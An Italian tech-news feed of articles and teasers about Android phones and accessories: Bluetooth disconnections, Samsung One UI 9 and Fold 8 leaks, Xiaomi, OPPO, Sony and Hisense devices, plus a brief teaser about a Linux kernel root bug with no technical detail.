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Il Bluetooth del tuo Android si disconnette spesso? La causa potrebbe essere il modo in cui lo tieni in mano


Se le cuffie wireless si disconnettono di continuo o la musica salta senza motivo apparente, prima di pensare a un guasto del dispositivo potrebbe valere la pena esaminare abitudini quotidiane apparentemente banali. Un articolo di Android Authority ha riacceso l'attenzione su cause spesso trascurate dei problemi Bluetooth sugli smartphone Android. Il modo di impugnare lo smartphone può fare la differenza Un tech writer ha documentato un caso emblematico: dopo settimane di disconnessioni […]
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Se le cuffie wireless si disconnettono di continuo o la musica salta senza motivo apparente, prima di pensare a un guasto del dispositivo potrebbe valere la pena esaminare abitudini quotidiane apparentemente banali. Un articolo di Android Authority ha riacceso l’attenzione su cause spesso trascurate dei problemi Bluetooth sugli smartphone Android.

Il modo di impugnare lo smartphone può fare la differenza


Un tech writer ha documentato un caso emblematico: dopo settimane di disconnessioni Bluetooth inspiegabili con il proprio smartphone Android, ha scoperto che il problema si ripresentava sistematicamente solo quando sollevava il telefono coprendo con il palmo della mano l’area del sensore frontale. Replicando intenzionalmente quella impugnatura, l’audio si interrompeva puntualmente. Il corpo umano, come qualsiasi ostacolo fisico, può attenuare il segnale Bluetooth abbastanza da causare interruzioni — specialmente su modelli con antenne posizionate nella parte superiore del dispositivo.

Perché il Bluetooth è vulnerabile agli ostacoli


Il Bluetooth opera su frequenze radio a bassa potenza, pensate per ottimizzare i consumi piuttosto che la penetrazione degli ostacoli. Rispetto al Wi-Fi o alle reti mobili, è molto più sensibile a interferenze fisiche. Materiali come metallo, cemento e persino il corpo umano possono degradare la qualità della connessione. Non è necessario che l’oggetto sia completamente interposto tra i due dispositivi: anche una parziale ostruzione può bastare.

Cover metalliche e abbigliamento: i colpevoli insospettabili


L’articolo segnala altri fattori meno ovvi che possono disturbare la connessione Bluetooth:

  • Cover in metallo: le custodie metalliche possono schermare l’antenna e ridurre la portata del segnale
  • Abbigliamento tecnico: alcuni tessuti o rivestimenti possono interferire con la trasmissione radio quando lo smartphone è in tasca
  • Ambienti affollati: la saturazione delle frequenze 2,4 GHz in luoghi pubblici aumenta le interferenze


Come migliorare la stabilità della connessione


Prima di portare il dispositivo in assistenza o acquistarne uno nuovo, vale la pena provare alcune soluzioni semplici: tenere lo smartphone senza coprire l’area delle antenne, evitare cover metalliche, non riporre il telefono in tasche con materiali riflettenti e mantenere una linea visiva il più libera possibile tra smartphone e cuffie. Spesso basta cambiare abitudine per risolvere quello che sembrava un problema hardware.

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ONLYOFFICE DocSpace 3.7: generazione di file con l'AI, moduli smart ed editor aggiornati


ONLYOFFICE rilascia DocSpace 3.7, la versione più recente della sua piattaforma di collaborazione basata su stanze. Un importante aggiornamento introduce nuove funzionalità AI, un'esperienza di compilazione dei moduli rinnovata, editor aggiornati e controlli di sicurezza più robusti. Il rilascio tocca quasi ogni parte della piattaforma ed è già disponibile per ...

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Armbian Imager 2.0: lo strumento ufficiale per flashare Armbian Linux su computer single-board


Armbian Imager è l’applicazione open source sviluppata dal team Armbian per semplificare il processo di download e scrittura delle immagini del sistema operativo Armbian su schede SD, chiavette USB e moduli eMMC. L’obiettivo è...

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One UI 9 con Android 17: Galaxy S23, S24, S25 e S26 nella lista dei modelli supportati


Mentre Google lavora alla versione stabile di Android 17 — attesa tra fine giugno e luglio 2026 per i Pixel — Samsung inizia a delineare la propria roadmap per One UI 9. Secondo fonti ben informate del settore, l'aggiornamento dovrebbe raggiungere quattro generazioni della serie Galaxy S, garantendo continuità di supporto per milioni di utenti. Quali Galaxy S riceveranno One UI 9? Stando al leaker Tarun Vats, la lista dei modelli Galaxy S che dovrebbero ricevere One UI 9 basato su […]
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Mentre Google lavora alla versione stabile di Android 17 — attesa tra fine giugno e luglio 2026 per i PixelSamsung inizia a delineare la propria roadmap per One UI 9. Secondo fonti ben informate del settore, l’aggiornamento dovrebbe raggiungere quattro generazioni della serie Galaxy S, garantendo continuità di supporto per milioni di utenti.

Quali Galaxy S riceveranno One UI 9?


Stando al leaker Tarun Vats, la lista dei modelli Galaxy S che dovrebbero ricevere One UI 9 basato su Android 17 comprende Galaxy S26 (S26, S26+, S26 Ultra), Galaxy S25 (S25, S25+, S25 Ultra), Galaxy S24 (S24, S24+, S24 Ultra, S24 FE) e Galaxy S23 (S23, S23+, S23 Ultra, S23 FE). Si tratta di proiezioni basate sulle politiche di aggiornamento dichiarate da Samsung, non di un annuncio ufficiale.

Il supporto a lungo termine di Samsung


Samsung garantisce ai modelli Galaxy S24 e successivi fino a 7 anni di aggiornamenti Android e patch di sicurezza. Per la serie S23, invece, erano stati promessi 4 aggiornamenti Android e 5 anni di patch: One UI 9 con Android 17 rappresenterebbe probabilmente l’ultimo major update per quella generazione, il che rende l’aggiornamento ancora più atteso da chi possiede un S23.

Quando arriva One UI 9?


Samsung presenta solitamente la nuova versione di One UI in concomitanza con il lancio dei Galaxy Z Fold e Z Flip estivi. Per il 2026, il debutto di One UI 9 è atteso in autunno, con una finestra probabile intorno a ottobre. Il rollout per tutti i modelli supportati si estenderà poi nei mesi successivi.

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RedMagic lancia le cuffie gaming cablate: USB-C e jack da 3,5 mm per i gamer mobile


RedMagic, il brand gaming di Nubia noto per i suoi smartphone ad alte prestazioni, ha annunciato le RedMagic Wired Earphones, nuove cuffie cablate pensate per i giocatori mobile. Disponibili in Cina in due varianti — USB Type-C e jack da 3,5 mm — le cuffie puntano su latenza ridotta e qualità audio ottimizzata per il gaming. Driver da 14,2 mm e design semi-aperto Il cuore delle RedMagic Wired Earphones è un driver dinamico da 14,2 mm con diaframma composito, pensato per garantire […]
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RedMagic, il brand gaming di Nubia noto per i suoi smartphone ad alte prestazioni, ha annunciato le RedMagic Wired Earphones, nuove cuffie cablate pensate per i giocatori mobile. Disponibili in Cina in due varianti — USB Type-C e jack da 3,5 mm — le cuffie puntano su latenza ridotta e qualità audio ottimizzata per il gaming.

Driver da 14,2 mm e design semi-aperto


Il cuore delle RedMagic Wired Earphones è un driver dinamico da 14,2 mm con diaframma composito, pensato per garantire ampiezza sonora e dettaglio anche nelle frequenze più basse. Il design è di tipo semi-in-ear, una scelta che consente di percepire i suoni ambientali durante l’uso all’aperto o nei trasporti pubblici, senza isolarsi completamente dall’ambiente.

L’estetica è curata con una scocca dal finish grigio metallico e un’angolazione ergonomica per migliorare la vestibilità durante sessioni di gioco prolungate. RedMagic dichiara che il tuning è stato ottimizzato in particolare per la riproduzione di effetti sonori tipici degli FPS, come spari e passi — dettagli fondamentali per chi gioca competitivamente.

Telecomando inline e microfono integrato


Il cavo è dotato di un telecomando inline per gestire la riproduzione, regolare il volume e rispondere alle chiamate senza toccare lo schermo. Il microfono integrato permette anche di usarle per il voice chat durante le partite multiplayer o per le chiamate quotidiane. Il cavo è progettato per resistere ai grovigli, un problema comune nelle cuffie cablate da gaming.

Disponibilità e prezzo


In Cina le cuffie sono disponibili nelle versioni USB-C e 3,5 mm al prezzo di 89 yuan (circa 11 euro). A livello globale, il prodotto è già commercializzato con il nome RedMagic Magic Sound Earphones al prezzo di 21,9 dollari, ma solo nella variante USB-C.

In un mercato dominato dagli auricolari true wireless, RedMagic sceglie di puntare sui cablati per chi vuole zero latenza e non vuole preoccuparsi della batteria. Una proposta di nicchia ma con un prezzo accessibile che potrebbe convincere i gamer mobile più attenti alle prestazioni audio.

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Galaxy Z Fold 8 Ultra: batteria da 5000 mAh e design più largo confermati dalle cover leaked


Si moltiplicano le conferme sui prossimi pieghevoli Samsung. Le immagini delle cover ufficiali di Galaxy Z Fold 8, Z Fold 8 Ultra e Z Flip 8, prodotte dall'accessorista Thinborne, sono trapelate online e aggiungono dettagli importanti sulla nuova generazione di foldable del colosso sudcoreano. Le custodie collimano con i mock-up e i render già visti, aumentando la credibilità delle indiscrezioni finora circolanti. Fold 8: display esterno più largo, come i competitor cinesi La novità […]
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Si moltiplicano le conferme sui prossimi pieghevoli Samsung. Le immagini delle cover ufficiali di Galaxy Z Fold 8, Z Fold 8 Ultra e Z Flip 8, prodotte dall’accessorista Thinborne, sono trapelate online e aggiungono dettagli importanti sulla nuova generazione di foldable del colosso sudcoreano. Le custodie collimano con i mock-up e i render già visti, aumentando la credibilità delle indiscrezioni finora circolanti.

Fold 8: display esterno più largo, come i competitor cinesi


La novità più evidente riguarda il Galaxy Z Fold 8: le custodie leaked mostrano un formato più orizzontale rispetto all’attuale generazione, confermando le voci su un display esterno più largo e proporzionato. Samsung si adeguerebbe così alla tendenza portata avanti da OnePlus, Honor e Oppo, che da anni preferiscono un form factor più simile a uno smartphone tradizionale quando il pieghevole è chiuso. Il mercato ha premiato questo approccio, e la risposta di Samsung sembra finalmente arrivata.

Z Fold 8 Ultra: batteria da 5000 mAh in un corpo più sottile


Sul versante del modello Ultra, le ultime indiscrezioni parlano di una batteria da 5000 mAh, un salto notevole rispetto ai 4400 mAh del Fold 7. Ancora più sorprendente è che questo aumento di capacità arriverebbe in un corpo più sottile rispetto alla generazione precedente. L’autonomia è da sempre il punto debole dei pieghevoli, e un miglioramento così significativo sarebbe accolto con entusiasmo dagli utenti. Il modello Ultra si dovrebbe distinguere dalla variante base anche per materiali premium e fotocamere potenziate.

Z Flip 8: evoluzione nelle specifiche, continuità nel design


Le cover del Galaxy Z Flip 8 non suggeriscono rivoluzioni estetiche rispetto al Flip 7: il design rimane riconoscibile, con lo stesso fattore di forma compatto a conchiglia. Le novità del Flip 8 sarebbero prevalentemente interne: processore più potente, fotocamere aggiornate e possibilmente un display di copertura ampliato. I tre nuovi pieghevoli Samsung sono attesi per la presentazione estiva, probabilmente entro luglio 2026.

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HyperOS si rinnova con Hyper Launcher: effetti blur avanzati e tecnologia Flutter/Rust nel motore


Xiaomi ha distribuito un importante aggiornamento al launcher di sistema di HyperOS, rinominato ufficialmente Hyper Launcher. Non si tratta di un semplice restyling: il nuovo launcher porta effetti visivi significativamente migliorati e, soprattutto, un cambio tecnologico profondo con l'adozione di Flutter e Rust come nuove fondamenta dello stack software. Blur ovunque: un'interfaccia più raffinata La novità più immediata è l'espansione degli effetti di sfocatura e trasparenza su tutte […]
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Xiaomi ha distribuito un importante aggiornamento al launcher di sistema di HyperOS, rinominato ufficialmente Hyper Launcher. Non si tratta di un semplice restyling: il nuovo launcher porta effetti visivi significativamente migliorati e, soprattutto, un cambio tecnologico profondo con l’adozione di Flutter e Rust come nuove fondamenta dello stack software.

Blur ovunque: un’interfaccia più raffinata


La novità più immediata è l’espansione degli effetti di sfocatura e trasparenza su tutte le superfici principali: schermata home, cassetto delle app, menu delle scorciatoie, impostazioni del desktop e schermata multitasking. Con l’aggiornamento alla versione RELEASE-7.00.11.7643, il risultato è un’estetica più moderna e coerente, con una sensazione di profondità visiva apprezzabile soprattutto su display AMOLED, che richiama le tendenze dei launcher premium e di iOS.

Cartelle riprogettate con tre dimensioni selezionabili


Hyper Launcher porta anche miglioramenti concreti alla gestione delle cartelle sulla home screen. Gli utenti possono scegliere tra tre dimensioni — standard, grande e XXL — mentre la schermata di modifica delle cartelle è stata ridisegnata con anteprima delle app contenute e funzione di ordinamento automatico. Una novità particolarmente apprezzabile su tablet e smartphone a grande schermo.

Flutter e Rust: il vero cambiamento è sotto al cofano


L’aspetto più interessante riguarda la riscrittura tecnologica del launcher. I ricercatori hanno individuato nel pacchetto aggiornato le librerie libhyper_os_flutter.so e librust_aml_sdk.so, che confermano la migrazione verso Flutter (il framework UI multipiattaforma di Google) e Rust (linguaggio ad alte prestazioni e sicurezza della memoria). Questa scelta tecnica pone le basi per un sistema più veloce, più stabile e più facile da estendere ad altre piattaforme Xiaomi — tablet, wearable e sistemi per l’auto.

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OPPO Service Week: sconti riparazione e sostituzione batteria per Reno13 A, Reno11 A e altri modelli


OPPO ha avviato l'undicesima edizione dell'OPPO Service Week, un'iniziativa promozionale che offre sconti significativi sui servizi di riparazione e manutenzione per un'ampia gamma di dispositivi Android. La campagna è attiva dal 6 al 17 giugno 2026 — per ora sul mercato giapponese — e coinvolge modelli popolari come OPPO Reno13 A e OPPO Reno11 A, consentendo agli utenti di prolungare la vita dei propri smartphone a costo ridotto. Due tipologie di servizio scontato L'iniziativa prevede […]
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OPPO ha avviato l’undicesima edizione dell’OPPO Service Week, un’iniziativa promozionale che offre sconti significativi sui servizi di riparazione e manutenzione per un’ampia gamma di dispositivi Android. La campagna è attiva dal 6 al 17 giugno 2026 — per ora sul mercato giapponese — e coinvolge modelli popolari come OPPO Reno13 A e OPPO Reno11 A, consentendo agli utenti di prolungare la vita dei propri smartphone a costo ridotto.

Due tipologie di servizio scontato


L’iniziativa prevede due tipi di intervento agevolato. Il Battery Exchange Discount offre uno sconto fisso di 2.500 yen sulla sola sostituzione della batteria. Il Terminal Refresh Service è invece un pacchetto completo che include batteria più rinnovo dell’estetica esterna (display e pannello posteriore), con uno sconto totale di 4.500 yen. Chi ha uno smartphone invecchiato può quindi rinfrescarlo in un colpo solo a un costo contenuto.

Modelli coperti


La lista dei dispositivi compatibili è ampia e copre più fasce di prezzo: i popolari Reno7 A, Reno9 A, Reno11 A, Reno13 A, Reno10 Pro 5G, Reno14 5G, i modelli entry-level A77, A79 5G e A5 5G, fino ai top di gamma Find X8, Find X9 e Find N6, coperti almeno dal Battery Exchange Discount.

Un segnale positivo per la longevità dei dispositivi


Campagne come questa — anche se per ora limitate al mercato giapponese — dimostrano che i produttori sono consapevoli del valore che gli utenti attribuiscono alla manutenzione del dispositivo già posseduto. Con le nuove normative europee sulla riparabilità, non è escluso che OPPO estenda presto programmi simili anche in Italia e nel resto d’Europa.

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Xiaomi 18: in sviluppo un display secondario magnetico e rimovibile come accessorio


Xiaomi studia una soluzione originale per il prossimo flagship Xiaomi 18: un display secondario di grandi dimensioni a connessione magnetica, rimovibile e da agganciare alla scocca del dispositivo quando necessario. L'idea rompe con la logica del display secondario integrato dei pieghevoli, optando per un approccio modulare che preserva la leggerezza del telefono principale. Come funzionerebbe il sub-display magnetico Secondo il leak pubblicato su Weibo, il sub-display adotta un pannello […]
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Xiaomi studia una soluzione originale per il prossimo flagship Xiaomi 18: un display secondario di grandi dimensioni a connessione magnetica, rimovibile e da agganciare alla scocca del dispositivo quando necessario. L’idea rompe con la logica del display secondario integrato dei pieghevoli, optando per un approccio modulare che preserva la leggerezza del telefono principale.

Come funzionerebbe il sub-display magnetico


Secondo il leak pubblicato su Weibo, il sub-display adotta un pannello rettangolare di dimensioni generose che si aggancia alla parte posteriore dello smartphone tramite connessione magnetica, senza connettori fisici esposti. L’utente potrebbe portare con sé il telefono normalmente e agganciare il display extra solo quando ne ha bisogno, ad esempio per fotografia, gaming o produttività avanzata.

A cosa servirebbe: scenari d’uso principali


Le potenziali applicazioni sono molteplici. Per i creator, un display secondario permetterebbe selfie di alta qualità con il sensore posteriore, visualizzando l’anteprima in tempo reale. Per i videomaker, faciliterebbe l’inquadratura durante riprese con la fotocamera principale. Come pannello di controllo per il gaming, potrebbe mostrare comandi aggiuntivi. La natura rimovibile preserva infine il profilo sottile del telefono, eliminando la necessità di integrare il secondo display nel corpo.

Quale modello lo riceverà? Ancora da definire


Il leaker non ha specificato se il sub-display sarà riservato allo Xiaomi 18 Ultra o a un ipotetico modello Pro Max, perché la lineup finale non è ancora stata decisa. Il concept sarebbe pensato come accessorio opzionale, non componente standard. Si tratta comunque di informazioni su un prodotto ancora in sviluppo, che potrebbe subire modifiche significative.

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CIFSwitch: un bug del Kernel Linux vecchio 19 anni che regala i permessi di root


Se dopo le intense scorse settimane vi erano mancate le CVE sul Kernel Linux, eccovene un’altra: si chiama CIFSwitch, è nascosta nel codice dal 2007, e sotto le giuste condizioni permette a un utente senza privilegi di ottenere accesso root completo al sistema. Questa volta però non parliamo di qualche trucco sulla page cache, ma...

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POCO Pad C1 in arrivo in Europa? Il tablet economico con display 2K e Android 16 ottiene la certificazione


Il mercato dei tablet Android economici si prepara ad accogliere un nuovo protagonista. Il POCO Pad C1, tablet entry-level del brand Xiaomi, ha ottenuto la certificazione necessaria per la commercializzazione in nuovi mercati, lasciando intendere che un lancio europeo potrebbe essere vicino. Con un prezzo intorno ai 150-170 euro e specifiche tecniche sorprendentemente curate per la sua fascia di prezzo, il POCO Pad C1 potrebbe diventare un punto di riferimento per chi cerca un tablet Android […]
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Il mercato dei tablet Android economici si prepara ad accogliere un nuovo protagonista. Il POCO Pad C1, tablet entry-level del brand Xiaomi, ha ottenuto la certificazione necessaria per la commercializzazione in nuovi mercati, lasciando intendere che un lancio europeo potrebbe essere vicino. Con un prezzo intorno ai 150-170 euro e specifiche tecniche sorprendentemente curate per la sua fascia di prezzo, il POCO Pad C1 potrebbe diventare un punto di riferimento per chi cerca un tablet Android senza spendere una fortuna.

Certificazione ottenuta: il lancio si avvicina


Il dispositivo è comparso nel database delle certificazioni radio giapponese con numero di modello 2603APC14G e data di registrazione 24 marzo 2026. Il conseguimento di questa certificazione è solitamente uno degli ultimi passi prima della commercializzazione ufficiale, il che suggerisce fortemente che Xiaomi stia finalizzando i preparativi per il lancio del dispositivo in nuovi mercati.

Scheda tecnica: molto per il prezzo


Il POCO Pad C1 monta un display da 9,7 pollici in risoluzione 2K (2048×1280) con refresh rate fino a 120Hz e campionamento touch a 180Hz. Una frequenza di aggiornamento così elevata è rara nella fascia entry-level. La luminosità massima di 500 nit (600 nit in ambienti luminosi) e il supporto a 10-bit per oltre 1 miliardo di colori completano un pannello di tutto rispetto. Il processore è lo Qualcomm Snapdragon 6s 4G Gen 2, disponibile in due tagli: 4GB RAM + 64GB storage oppure 6GB RAM + 128GB, con espansione microSD fino a 2TB. Il sistema operativo è Android 16 con l’interfaccia HyperOS di Xiaomi.

Audio, fotocamera e batteria


Il tablet dispone di doppi speaker ottimizzati per la modalità landscape con supporto hi-res e jack da 3,5mm. La fotocamera frontale da 5 megapixel con angolo grandangolare è posizionata sul bordo corto del bezel, ideale per le videochiamate orizzontali. La batteria da 7600mAh supporta la ricarica rapida a 18W. La scocca in lega di alluminio conferisce robustezza e un aspetto premium inatteso per questa fascia di prezzo.

Una scelta solida per chi vuole spendere poco


Il POCO Pad C1 si rivolge a chi utilizza il tablet principalmente per intrattenimento, studio e produttività leggera. Se il prezzo di lancio europeo sarà competitivo come quello negli altri mercati, questo tablet potrebbe ridefinire il concetto di “tablet economico” nel 2026.

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Galaxy A25 5G: i problemi più diffusi segnalati dagli utenti e come risolverli


Il Samsung Galaxy A25 5G ha convinto molti utenti grazie al rapporto qualità-prezzo: display Super AMOLED da 120Hz, 5G e batteria da 5000mAh a un prezzo accessibile. Tuttavia, nel tempo sono emerse alcune problematiche ricorrenti segnalate da utenti in tutto il mondo. Ecco una panoramica delle più diffuse, con qualche consiglio pratico. Connessione mobile instabile Uno dei bug più segnalati riguarda la gestione del segnale mobile. In aree con copertura mista 5G/4G, alcuni utenti […]
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Il Samsung Galaxy A25 5G ha convinto molti utenti grazie al rapporto qualità-prezzo: display Super AMOLED da 120Hz, 5G e batteria da 5000mAh a un prezzo accessibile. Tuttavia, nel tempo sono emerse alcune problematiche ricorrenti segnalate da utenti in tutto il mondo. Ecco una panoramica delle più diffuse, con qualche consiglio pratico.

Connessione mobile instabile


Uno dei bug più segnalati riguarda la gestione del segnale mobile. In aree con copertura mista 5G/4G, alcuni utenti riportano disconnessioni improvvise del dato mobile, con il telefono che smette di ricevere dati pur mostrando le barre di segnale. La causa sembra essere un bug nel modem software. Chi riscontra il problema continuamente può provare a impostare la rete manualmente su “solo LTE” come soluzione tampone.

Notifiche ritardate o mancanti


I messaggi da WhatsApp, Gmail o Instagram arrivano solo aprendo manualmente l’app. Il colpevole è l’ottimizzazione aggressiva della batteria di One UI, che sospende i processi in background in modo eccessivo. La soluzione consigliata è andare su Impostazioni → App → [nome app] → Batteria e selezionare “Nessuna restrizione”, anche se alcuni utenti riferiscono che il problema persiste dopo questo intervento.

Sblocco con riconoscimento facciale lento


Il riconoscimento facciale del Galaxy A25 5G è software-based e in alcuni casi si blocca per qualche secondo prima di completare lo sblocco. La soluzione più efficace è disattivarlo e affidarsi al sensore d’impronte digitali laterale, più veloce e affidabile.

Luminosità automatica imprecisa e consumo anomalo


Il sensore di luce ambientale reagisce in modo irregolare, causando variazioni frequenti della luminosità anche in ambienti stabili. Questo contribuisce a un consumo anomalo della batteria. Disattivare la luminosità automatica e gestirla manualmente è la soluzione più immediata in attesa di un aggiornamento software correttivo da Samsung.

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Hisense A10: ritorna lo smartphone con display E-Ink, 7 pollici e Snapdragon sotto la scocca


Il mercato di nicchia degli smartphone con schermo a inchiostro elettronico torna sotto i riflettori. Hisense ha annunciato il prossimo lancio dell'A10, il suo nuovo modello E-Ink, segnando il ritorno del brand in questo segmento dopo anni di silenzio. L'ultimo modello della serie, l'A9, era stato presentato nel 2022. Il teaser appena rilasciato promette un design rinnovato e caratteristiche tecniche inedite per la categoria. Il teaser: "l'antenato dell'E-Ink è tornato" Hisense ha […]
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Il mercato di nicchia degli smartphone con schermo a inchiostro elettronico torna sotto i riflettori. Hisense ha annunciato il prossimo lancio dell’A10, il suo nuovo modello E-Ink, segnando il ritorno del brand in questo segmento dopo anni di silenzio. L’ultimo modello della serie, l’A9, era stato presentato nel 2022. Il teaser appena rilasciato promette un design rinnovato e caratteristiche tecniche inedite per la categoria.

Il teaser: “l’antenato dell’E-Ink è tornato”


Hisense ha pubblicato immagini teaser che mostrano l’A10 con un design sottile e raffinato, accompagnate da un messaggio che evoca il ritorno alle origini degli smartphone a inchiostro elettronico. L’azienda sembra voler riaffermare la propria posizione di riferimento in questo segmento. Per ora i dettagli tecnici ufficiali scarseggiano, ma i leak iniziano già a dipingere un quadro interessante.

Specifiche attese: display da 7 pollici e chip Snapdragon


Secondo informazioni non ufficiali, l’Hisense A10 dovrebbe montare un display E-Ink da 7 pollici con risoluzione a 300ppi, un netto miglioramento rispetto ai modelli precedenti. Il processore sarebbe della famiglia Snapdragon, accompagnato da 6GB di RAM e 128GB di storage. La batteria, attorno ai 4500mAh, beneficerebbe del basso consumo energetico tipico dei pannelli E-Ink per garantire un’autonomia di diversi giorni. Tutte informazioni da considerare non ufficiali in attesa di conferma da Hisense.

Un dispositivo di nicchia con un pubblico fedele


Gli smartphone E-Ink si rivolgono a chi vuole ridurre l’affaticamento visivo, prolungare al massimo la durata della batteria e leggere testi in piena luce solare. Non sono adatti al gaming o allo streaming video, ma rappresentano una scelta consapevole per un uso più mirato dello smartphone. Il lancio formale dell’A10 è atteso entro la seconda metà del 2026.

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Xperia 1 VII, la “morte improvvisa” colpisce anche i dispositivi sostitutivi: il caso si riapre


La vicenda del Sony Xperia 1 VII e del suo difetto di "morte improvvisa" non si chiude. A circa un anno dalla scoperta del problema originale, l'utente Reddit che per primo aveva denunciato il bug — e che aveva contribuito ad avviare la campagna di sostituzioni di Sony — è tornato a segnalare un nuovo problema: il telefono sostitutivo ricevuto in cambio ha manifestato sintomi simili. Il difetto originale: un problema nella produzione Al lancio, una parte degli Xperia 1 VII cominciò a […]
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La vicenda del Sony Xperia 1 VII e del suo difetto di “morte improvvisa” non si chiude. A circa un anno dalla scoperta del problema originale, l’utente Reddit che per primo aveva denunciato il bug — e che aveva contribuito ad avviare la campagna di sostituzioni di Sony — è tornato a segnalare un nuovo problema: il telefono sostitutivo ricevuto in cambio ha manifestato sintomi simili.

Il difetto originale: un problema nella produzione


Al lancio, una parte degli Xperia 1 VII cominciò a bloccarsi in modo permanente senza preavviso. Le indagini portarono Sony a identificare la causa in un problema di gestione dell’umidità durante il processo produttivo, che aveva compromesso la scheda madre di alcuni lotti. L’azienda predispose un sistema di verifica tramite numero seriale e avviò le sostituzioni.

Un anno dopo: il sostitutivo entra in bootloop


Il dispositivo sostitutivo apparteneva a un lotto diverso, non interessato dal difetto originale, e aveva funzionato regolarmente per circa un anno. Poi si è spento improvvisamente, entrando in un ciclo di riavvio continuo (bootloop): il logo Sony appare, ma il sistema non completa l’avvio. Il tentativo di riparazione software via Xperia Companion ha fallito, restituendo un messaggio di errore sull'”affidabilità del dispositivo”.

Non un caso isolato: altre segnalazioni simili


La segnalazione ha raccolto commenti di altri possessori di dispositivi sostitutivi che riportano sintomi analoghi: riavvii casuali, blackout brevi seguiti da ripresa spontanea, blocchi durante l’uso della fotocamera. In attesa di una risposta ufficiale da Sony, i possessori dello Xperia 1 VII farebbero bene a mantenere backup aggiornati e a contattare il supporto al primo segnale anomalo.

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Galaxy Z Fold 8 Ultra con batteria da 5000 mAh: le cover leaked confermano il nuovo design più largo


Le immagini delle custodie del Galaxy Z Fold 8, Z Fold 8 Ultra e Z Flip 8 sono trapelate online, aggiungendo nuovi dettagli al profilo dei prossimi foldable Samsung. Le cover, prodotte dall'accessorista Thinborne, coincidono con i mock-up e i render visti in precedenza e sembrano confermare definitivamente la direzione di design della nuova gamma. Fold 8 più largo: il cambiamento è confermato La novità più evidente riguarda il Galaxy Z Fold 8: le custodie mostrano un rapporto d'aspetto […]
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Le immagini delle custodie del Galaxy Z Fold 8, Z Fold 8 Ultra e Z Flip 8 sono trapelate online, aggiungendo nuovi dettagli al profilo dei prossimi foldable Samsung. Le cover, prodotte dall’accessorista Thinborne, coincidono con i mock-up e i render visti in precedenza e sembrano confermare definitivamente la direzione di design della nuova gamma.

Fold 8 più largo: il cambiamento è confermato


La novità più evidente riguarda il Galaxy Z Fold 8: le custodie mostrano un rapporto d’aspetto più orizzontale rispetto all’attuale Fold, confermando le voci di un display esterno più largo. Samsung si adeguerebbe così alla tendenza portata avanti dai competitor cinesi (OnePlus, Honor, Oppo), che da tempo adottano un form factor più simile a quello di un tradizionale smartphone quando il foldable è chiuso. Anche gli utenti occidentali hanno premiato questo approccio, e Samsung sembra aver preso nota.

Z Fold 8 Ultra: 5000 mAh e corpo più sottile


Sul fronte del modello Ultra, i rumor più recenti parlano di una batteria da 5000 mAh, in netto miglioramento rispetto ai 4400 mAh del Fold 7. Il salto sarebbe notevole considerando che, allo stesso tempo, il dispositivo dovrebbe essere ancora più sottile della generazione precedente. L’autonomia è storicamente uno dei punti deboli dei foldable, e un aumento così significativo di capacità sarebbe accolto con entusiasmo dagli utenti.

Z Flip 8: evoluzione senza rivoluzioni


Le custodie del Galaxy Z Flip 8, invece, non suggeriscono cambiamenti radicali al design rispetto all’attuale Flip 7. Il modello flip di Samsung dovrebbe puntare su miglioramenti interni — chip più potente, fotocamere aggiornate — mantenendo un profilo estetico riconoscibile.

Tra le curiosità emerse dai leak, anche una nuova Carbon Standing Case con supporto integrato per l’uso in orizzontale, pensata per sfruttare al meglio il grande schermo interno del Fold 8 in scenari come video conference e streaming. L’annuncio ufficiale dei nuovi Galaxy Z è atteso per l’estate 2026, probabilmente a luglio in occasione del consueto Galaxy Unpacked dedicato ai foldable.

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Xperia 1 VII in esaurimento: Sony avvicina la fine delle vendite del flagship 2025


L'Xperia 1 VII, flagship Sony del 2025, sta per uscire definitivamente dagli scaffali. Le scorte del dispositivo si stanno esaurendo rapidamente, sia nelle versioni SIM-free che nei canali carrier, segnalando la fine del ciclo commerciale dello smartphone. Scorte agli sgoccioli Il modello SIM-free, venduto sullo store ufficiale Sony, è già completamente esaurito in tutte le configurazioni e colorazioni. Anche i canali di distribuzione carrier stanno progressivamente chiudendo le vendite: […]
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L’Xperia 1 VII, flagship Sony del 2025, sta per uscire definitivamente dagli scaffali. Le scorte del dispositivo si stanno esaurendo rapidamente, sia nelle versioni SIM-free che nei canali carrier, segnalando la fine del ciclo commerciale dello smartphone.

Scorte agli sgoccioli


Il modello SIM-free, venduto sullo store ufficiale Sony, è già completamente esaurito in tutte le configurazioni e colorazioni. Anche i canali di distribuzione carrier stanno progressivamente chiudendo le vendite: sono disponibili solo pochissime varianti residue, e si tratta chiaramente degli ultimi stock rimasti prima dell’esaurimento definitivo.

Il ciclo vita di Xperia si accorcia?


L’Xperia 1 VII era stato lanciato nel 2025 come dispositivo di punta di Sony, con Snapdragon 8 Elite, display OLED 4K a 120Hz e il sistema fotografico Alpha sviluppato in collaborazione con la divisione imaging del gruppo. La fine delle disponibilità a distanza di circa un anno dal lancio è nella norma per il segmento flagship, ma testimonia anche come il mercato Sony sia relativamente di nicchia rispetto ai grandi volumi di Samsung o Xiaomi.

Chi è interessato all’acquisto dell’Xperia 1 VII farebbe bene ad affrettarsi: una volta esauriti gli ultimi stock disponibili, la distribuzione ufficiale cesserà del tutto. L’alternativa sarà il canale del ricondizionato o del mercato grigio, in attesa di scoprire cosa Sony ha in serbo per la prossima generazione Xperia 1.

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Redmi 17 ufficiale a breve: batteria da 7000 mAh e Android 16, il mid-range Xiaomi punta all’autonomia


Il Redmi 17 è sempre più vicino al debutto ufficiale. Nuove certificazioni internazionali hanno confermato l'esistenza del dispositivo e svelato ulteriori dettagli tecnici: il focus principale del prossimo mid-range Xiaomi sembra essere l'autonomia, con una batteria che potrebbe raggiungere i 7000 mAh. Specifiche tecniche emerse finora Stando alle informazioni trapelate, il Redmi 17 si posizionerà come smartphone 5G di fascia entry/mid con un profilo tecnico orientato alla […]
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Il Redmi 17 è sempre più vicino al debutto ufficiale. Nuove certificazioni internazionali hanno confermato l’esistenza del dispositivo e svelato ulteriori dettagli tecnici: il focus principale del prossimo mid-range Xiaomi sembra essere l’autonomia, con una batteria che potrebbe raggiungere i 7000 mAh.

Specifiche tecniche emerse finora


Stando alle informazioni trapelate, il Redmi 17 si posizionerà come smartphone 5G di fascia entry/mid con un profilo tecnico orientato alla praticità:

  • Processore Snapdragon 4 series (fascia entry 5G)
  • Batteria da oltre 7000 mAh
  • Display LCD ad alto refresh rate
  • Fotocamera principale da 50 megapixel
  • Fotocamera frontale da 8 megapixel
  • Android 16 con HyperOS preinstallato


7000 mAh: una scelta sempre più comune nel segmento economico


